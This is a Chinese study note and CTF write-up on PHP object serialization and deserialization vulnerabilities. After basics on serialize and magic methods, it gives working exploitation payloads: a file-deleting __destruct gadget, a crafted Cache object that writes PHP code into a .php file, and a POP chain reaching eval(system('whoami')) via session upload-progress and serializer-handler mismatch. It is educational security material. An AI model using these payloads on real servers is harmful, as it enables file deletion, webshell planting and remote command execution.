PHP序列化学习总结

前段时间学习了php对象序列化，总结了一些遇到的和看到的利用方法，在这之前我对序列化完全John Snow，所以这篇笔记写得很细很基础。

0x00 序列化函数

serialize()：返回带有变量类型和值的字符串
unserialize()：想要将已序列化的字符串变回 PHP 的值

测试代码：

<?php
  class test{
    	var $a;
    	var $b;
    	function __construct($a,$b,$c){
    		$a  = $a;
    		$this->b = $b;
    
    	}
    }
    
    class test1 extends test{
    
     	function __construct($a){
     		$this->a = $a;
     	}
     }
    $a = 'hello';
    $b = 123;
    $c = false;
    $d = new test('helloa','hellob','helloc');
    $e = new test1('hello');
    
    var_dump(serialize($a));
    var_dump(serialize($b));
    var_dump(serialize($c));
    var_dump(serialize($d));
    var_dump(serialize($e));
?>

运行结果：

string 's:5:"hello";' (length=12)
string 'i:123;' (length=6)
string 'b:0;' (length=4)
string 'O:4:"test":2:{s:1:"a";N;s:1:"b";s:6:"hellob";}' (length=46)
string 'O:5:"test1":2:{s:1:"a";s:5:"hello";s:1:"b";N;}' (length=46)

序列化字符串格式：变量类型：变量长度：变量内容。
如果序列化的是一个对象，序列化字符串格式为：
变量类型：类名长度：类名：属性数量：｛属性类型：属性名长度：属性名；属性值类型：属性值长度：属性值内容｝

将上述结果反序列化输出，执行结果：

string 'hello' (length=5)
int 123
boolean false
object(test)[1]
  public 'a' => null
  public 'b' => string 'hellob' (length=6)
object(test1)[1]
  public 'a' => string 'hello' (length=5)
  public 'b' => null

0x01 对象序列化

当序列化对象时，PHP 将在序列动作之前调用该对象的成员函数 sleep()。这样就允许对象在被序列化之前做任何清除操作。类似的，当使用 unserialize() 恢复对象时， 将调用wakeup()成员函数。

在serialize()函数执行时，会先检查类中是否定义了sleep()函数，如果存在，则首先调用sleep()函数，如果不存在，就保留序列字符串中的所有属性。

在unserialize()函数执行时，会先检查是否定义了wakeup()函数。如果wakeup()存在，将执行__wakeup()函数，会使变量被重新赋值。

serialize()测试代码：

<?php
  class test{
    	var $a;
    	var $b;
    	function __construct($a,$b,$c){
    		$this->a  = $a;
    		$this->b = $b;
    
    	}
    	function __sleep(){
    		echo "b has changed"."\n";
    		$this->b = 'hib';
    		return $this->b;
    		
    
    	}
    	function __wakeup(){
    		echo "a has changed"."\n";
    		$this->a = 'hia';
    
    	}
    }
    
    class test1 extends test{
    
     	function __construct($a){
     		$this->a = $a;
     	}
     }
    
    $d = new test('helloa','hellob','helloc');
    $e = new test1('hello');
    
    serialize($d);
    serialize($e);
    
    var_dump($d);
    var_dump($e);
?>

执行结果：

b has changed b has changed
object(test)[1]
public 'a' => string 'helloa' (length=6)
public 'b' => string 'hib' (length=3)
object(test1)[2]
public 'a' => string 'hello' (length=5)
public 'b' => string 'hib' (length=3)

unserialize()测试代码：

class test{
    	var $a;
    	var $b;
    	function __construct($a,$b,$c){
    		$this->a  = $a;
    		$this->b = $b;
    
    	}
    	function __sleep(){
    		echo "b has changed"."\n";
    		$this->b = 'hib';
    		return $this->b;
    		
    
    	}
    	function __wakeup(){
    		echo "a has changed"."\n";
    		$this->a = 'hia';
    
    	}
    }
    
    class test1 extends test{
    
     	function __construct($a){
     		$this->a = $a;
     	}
     }
    
        $d = 'O:4:"test":2:{s:1:"a";N;s:1:"b";s:6:"hellob";}' ;
        $e = 'O:5:"test1":2:{s:1:"a";s:5:"hello";s:1:"b";N;}' ;
    
        var_dump(unserialize($d));
        var_dump(unserialize($e));

运行结果：

a has changed
object(test)[1]
  public 'a' => string 'hia' (length=3)
  public 'b' => string 'hellob' (length=6)
a has changed
object(test1)[1]
  public 'a' => string 'hia' (length=3)
  public 'b' => null

0x02 PHP序列化的利用

1、magic函数和序列化

参考：php对象注入
除了sleep()和wakeup()函数，在序列化时会执行外，还有下面几种利用方式。

Class File
 {
 	function __construct($var,$file1,$file2){
 		$this->var = $var;
 		$this->file1 = $file1;
 		$this->file2 = $file2;
 		echo $this->var.' and '.$this->file1.' and '.$this->file2.'defined';
 	}
 	function __destruct(){
 		unlink(dirname(__FILE__) . '/' . $this->file1);
 		echo $this->file1.'deleted';
 	}
 	function __toString(){
 		return file_get_contents($this->file2);

 	}


 }

// $file = new File('hello','123.txt','456.php');
// var_dump(serialize($file));
echo unserialize('O:4:"File":3:{s:3:"var";s:5:"hello";s:5:"file1";s:7:"123.txt";s:5:"file2";s:7:"456.php";}');

（construct()函数，在实例化一个对象时被调用，一般用来给属性赋值，destruct()在实例化对象完成后执行，__toString()函数在echo一个对象时被调用）

construct()函数内定义了三个变量，var这个没什么暖用，file1和file2，我们在序列化字符串中定义为已经服务器上已经存在的两个文件123.txt和456.php，destruct()中有一个unlink方法，是删除file1，__toString()中，读取file2的内容。

执行结果：

123.txtdeleted

查看源码:

<?php  echo 123; ?>123.txtdeleted

将字符串反序列化后，由于已经对变量赋过值，那么就不会再执行construct()函数，在construct()中赋值的变量也是无效的。上述代码中destruct()方法在在反序列化后，实例化对象结束后执行了，tostring()函数在echo unserialize()处，也被执行了
如果说在当前页面中有request系列函数，那么就可以造成php对象注入：
http://drops.wooyun.org/papers/4820

2、三个白帽挑战赛第三期

是一道源码审计题，题目大致是sql注入结合序列化写入文件
部分源码也是在某个大神博客看到的（由于我没有做过题，所以我只截取了和序列化漏洞相关的部分源码）：

class Cache extends \ArrayObject
{
	public $path;
	function __construct($path)
	{
		parent::__construct([],\ArrayObject::STD_PROP_LIST | \ArrayObject::ARRAY_AS_PROPS);
		$this->path = $path;
		if(file_exists($path)){
			$this->cache = unserialize(file_get_contents($this->path));
		}
	function offset(){
	//一些不知道干嘛用的代码
	}

	}

	function __destruct()
	{
		$cache = $this->serialize();
		file_put_contents($this->path, $cache);
		
	}

}

又由于我没有做过题。。。。所以模拟了这样一个页面去实例化:

include('cache.php');
$cache = new Cache('path.txt');

这题好像是这样的：
通过SQL注入，可控一个文件，假设可控的是path.txt这个文件（在实际的题目中，SQL注入权限不够，web目录下不可写文件，但其他目录可写，已知目录下有文件md5(username).txt，文件名知道，内容可控），这段代码的意思是，判断该文件存在后，读取文件内容，并且反序列化内容，结束时再经过序列化存进文件中。所以可以在可控文件中构造序列化字符串，改变当前的path属性为我们想要的目录。

path.txt:

C:5:"Cache":103:{x:i:3;a:0:{};m:a:2:{s:4:"path";s:25:"F:\wamp\www\test\path.php";s:5:"cache";s:18:"<?php echo 123; ?>";}}

上述字符串是通过输出serialize(一个实例化的Cache对象)构造的,当__construct()执行时，就会将上述字符串反序列化，此时已经实例化了一个cache对象，而它的path值变成了我们定义的”F:\wamp\www\test\path.php”，并且多了一个cache属性，值为<?php echo 123; ?>，这里的属性名cache是可以随意取的，但如果源码中：

$cache = $this->serialize();

变成了：

$cache = serialize($this->cache);

那么path.txt中的"cache";s:18:"<?php echo 123; ?>";属性名就必须和源码serialize($this->cache)当中的属性名相同。

所以，现在服务器上其实有两个对象，一个是$cache = new Cache('path.txt');定义的$cache，它的path属性值为path.txt;另一个对象是
C:5:"Cache":103:{x:i:3;a:0:{};m:a:2:{s:4:"path";s:25:"F:\wamp\www\test\path.php";s:5:"cache";s:18:"<?php echo 123; ?>";}}被反序列化后的对象，它的path属性的值为path.php。
两个对象实例化结束后，会调用其__destruct()方法，将对象自身序列化，写入path属性定义的路径中。这样就将包含<?php echo 123; ?>的内容写进了path.php中。

3、安恒ctf web3

一道源码审计题，解题思路是session上传进度，和session序列化处理器漏洞相结合。

session上传进度：
参考：upload-progress
当 session.upload_progress.enabled INI 选项开启时，在一个上传处理中，在表单中添加一个与INI中设置的session.upload_progress.name同名变量时，$_SESSION中就会添加一个保存上传信息的session值，它的session名是 INI 中定义的session.upload_progress.prefix加表单中的post的session.upload_progress.name

测试代码：

<form action="" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
 <input type="file" name="123123" />
 <input type="submit" />
</form>
<?php
 session_start();
 var_dump($_SESSION);
?>

运行结果：

（要查看到上传session，INI貌似要设置这个session.upload_progress.cleanup = Off）

session序列化处理器:
参考：session序列化
当session.auto_start = 0时：
两个脚本注册 Session 会话时使用的序列化处理器（session.serialize_handler）不同，就会出现安全问题。
经过测试发现在1.php页面注册session.serialize_handler=‘php_serialize’；
在2.php中注册session.serialize_handler=‘php’；
那么在1.php中伪造一个格式为：竖线加上对象序列化后的字符串
如：|O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}
那么会按照 php 处理器的反序列化格式读取数据，成功地实例化了该对象。
反之，如果是从php->php_serialize,是不可行的。
当session.auto_start = 1时：
只能注入 PHP 的内置类

web3 源码：

class.php:

    <?php 
    class foo1{
            public $varr;
            function __construct(){
                    $this->varr = "index.php";
            }
            function __destruct(){
                    if(file_exists($this->varr)){
                            echo $this->varr;
                    }
                    echo "这是foo1的析构函数";
            }
    }
    
    class foo2{
            public $varr;
            public $obj;
            function __construct(){
                    $this->varr = '1234567890';
                    $this->obj = null;
            }
            function __toString(){
                    $this->obj->execute();
                    return $this->varr;
            }
            function __desctuct(){
                    echo "这是foo2的析构函数";
            }
    }
    
    class foo3{
            public $varr;
            function execute(){
                    eval($this->varr);
            }
            function __desctuct(){
                    echo "这是foo3的析构函数";
            }
    }
    
    ?>

index.php:

<?php
    
    ini_set('session.serialize_handler', 'php');
     
    require("./sessionTest.php");
     
    session_start();
    $obj = new foo1();
     
    $obj->varr = "phpinfo.php";
    
    ?>

想办法让程序执行foo3的excute()函数，就要通过foo2的toString(),要执行foo2的toString()就要通过echo foo2，刚好foo1的__deatruct()有段这样的代码echo $this->varr;

所以这样构造：

include('class.php');
$t1 = new foo1;
$t2 = new foo2;
$t3 = new foo3;
$t3->varr = "system('whoami');";
$t2->obj = $t3;
$t1->varr = $t2;

$s1 = serialize($t1);
var_dump($s1);

构造出这样一串：O:4:”foo1”:1:{s:4:”varr”;O:4:”foo2”:2:{s:4:”varr”;s:10:”1234567890”;s:3:”obj”;O:4:”foo3”:1:{s:4:”varr”;s:17:”system(‘whoami’);”;}}}

所以构造一个表单，向class.php上传文件，通过session上传进度保存的session，来触发session序列化漏洞，由于INI中设置的序列化处理器为php_serialize，而index.php中将其设置为php，就使得伪造的session被成功地实例化了。
有两类不同的插法~
1、将序列化字符串插入PHP_SESSION_UPLOAD_PROGRESS
session名变成了PHP_SESSION_UPLOAD_PROGRESS_123,|后面的payload会替换整个session值

结果：

2、将序列化字符串插入post内容中
因为session会存上传文件的内容和文件名，所以也可以将序列化字符串插入name、filename.文件上传原本的session值一直到name前面一个参数为止，变成了session名，name参数|后面的payload变成了session值

结果：

参考链接：
php对象注入
upload-progress
session序列化